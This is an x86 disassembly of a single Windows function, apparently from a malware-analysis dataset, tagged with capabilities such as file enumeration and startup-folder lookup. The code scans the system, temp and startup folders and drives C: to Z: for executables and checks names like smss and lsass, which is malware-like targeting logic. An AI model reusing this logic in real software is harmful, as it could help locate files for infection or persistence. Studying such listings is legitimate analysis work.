Function at 0x4042f0
Capabilities:
Enumerate files on windows
Get common file path
Get file attributes
Get startup folder

Disassembly:
sub esp, 0x260
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x2c]
push 0x104
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ebp, [esp + eax + 0x2c]
mov edi, 0x41c7c8
mov byte [ebp], 0x5c
inc ebp
mov ecx, dword [edi]
mov esi, 0x104
mov eax, ebp
mov dl, byte [ecx]
test dl, dl
je 0x40433e
mov byte [eax], dl
inc eax
inc ecx
dec esi
jne 0x40432f
jmp 0x404342
test esi, esi
jne 0x404343
dec eax
lea ecx, [esp + 0x2c]
mov byte [eax], 0
push ecx
call ebx
test al, 0x10
jne 0x404379
mov eax, dword [esp + 0x274]
mov dword [esp + 0x10], 1
test eax, eax
je 0x404379
mov edx, dword [esp + 0x278]
lea ecx, [esp + 0x2c]
push edx
push 1
push ecx
call eax
test eax, eax
je 0x4043f1
add edi, 4
cmp edi, 0x41c7dc
jb 0x404326
mov esi, 1
mov dword [esp + 0x14], esi
lea eax, [esi - 1]
cmp eax, 3
ja case.default.0x404399
jmp dword [eax*4 + 0x404690]
lea edx, [esp + 0x2c]
push 0x104
push edx
mov ebp, 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x24]
lea ecx, [esp + 0x2c]
push eax
push 0x104
push ecx
call fcn.004046a0
test eax, eax
jl 0x40453e
mov eax, dword [esp + 0x24]
mov edx, 0x104
sub edx, eax
push str.com.
lea eax, [esp + eax + 0x30]
push edx
push eax
call fcn.00403540
jmp 0x40453e
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x260
ret
lea ecx, [esp + 0x2c]
mov ebp, 2
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x2c]
push edx
push 0x104
push eax
call fcn.004046a0
test eax, eax
jl 0x40453e
mov eax, dword [esp + 0x1c]
mov ecx, 0x104
sub ecx, eax
push str.del.tmp
lea edx, [esp + eax + 0x30]
push ecx
push edx
call fcn.00403540
jmp 0x40453e
push 0
lea eax, [esp + 0x30]
push 0x18
push eax
push 0
mov ebp, 2
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x2c]
push ecx
push 0x104
push edx
call fcn.004046a0
test eax, eax
jl 0x40453e
mov eax, dword [esp + 0x28]
mov ecx, 0x104
sub ecx, eax
push str..exe
lea edx, [esp + eax + 0x30]
push ecx
push edx
call fcn.00403540
jmp 0x40453e
push 0
lea eax, [esp + 0x30]
push 7
push eax
push 0
mov ebp, 2
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 0x20]
lea edx, [esp + 0x2c]
push ecx
push 0x104
push edx
call fcn.004046a0
test eax, eax
jl 0x40453e
mov eax, dword [esp + 0x20]
mov ecx, 0x104
sub ecx, eax
push str..exe
lea edx, [esp + eax + 0x30]
push ecx
push edx
call fcn.00403540
jmp 0x40453e
cmp esi, 0x12
ja 0x404658
lea eax, [esi + 0x3e]
lea ecx, [esp + 0x2c]
push eax
push str._C:_
push 0x104
push ecx
call fcn.00401200
lea edx, [esp + 0x3c]
push edx
call fcn.00407de0
add esp, 0x14
test eax, eax
je 0x404658
push str.:.exe
lea eax, [esp + 0x31]
push 0x104
push eax
call fcn.00403540
mov ebp, 1
lea ecx, [esp + 0x2c]
push 0x5c
push ecx
call fcn.0040d8e8
add esp, 8
mov edi, eax
lea edx, [esp + 0x130]
lea eax, [esp + 0x2c]
push edx
push eax
inc edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x404658
test byte [esp + 0x130], 0x10
jne 0x404632
cmp ebp, 1
jne 0x4045dd
lea ecx, [esp + 0x15c]
push ecx
call fcn.0040e5fb
lea edx, [esp + 0x160]
push str.smss.
push edx
call fcn.0040e585
add esp, 0xc
test eax, eax
jne 0x4045e2
lea eax, [esp + 0x15c]
push str.lsass.
push eax
call fcn.0040e585
add esp, 8
test eax, eax
jne 0x4045e2
lea ecx, [esp + 0x15c]
push 0x41c860
push ecx
call fcn.0040e585
add esp, 8
test eax, eax
je 0x404632
jmp 0x4045e2
cmp ebp, 2
jne 0x404632
mov ebx, 1
lea edx, [esp + 0x15c]
mov dword [esp + 0x10], ebx
mov esi, 0x104
mov eax, edi
sub edx, edi
mov cl, byte [edx + eax]
test cl, cl
je 0x40460a
mov byte [eax], cl
inc eax
dec esi
jne 0x4045fb
jmp 0x40460e
test esi, esi
jne 0x40460f
dec eax
mov byte [eax], 0
mov eax, dword [esp + 0x274]
test eax, eax
je 0x404632
mov edx, dword [esp + 0x278]
lea ecx, [esp + 0x2c]
push edx
push 1
push ecx
call eax
test eax, eax
je 0x404675
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x130]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x404570
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [esp + 0x14]
inc esi
cmp esi, 0x1b
mov dword [esp + 0x14], esi
jbe 0x40438d
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x260
ret
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x260
ret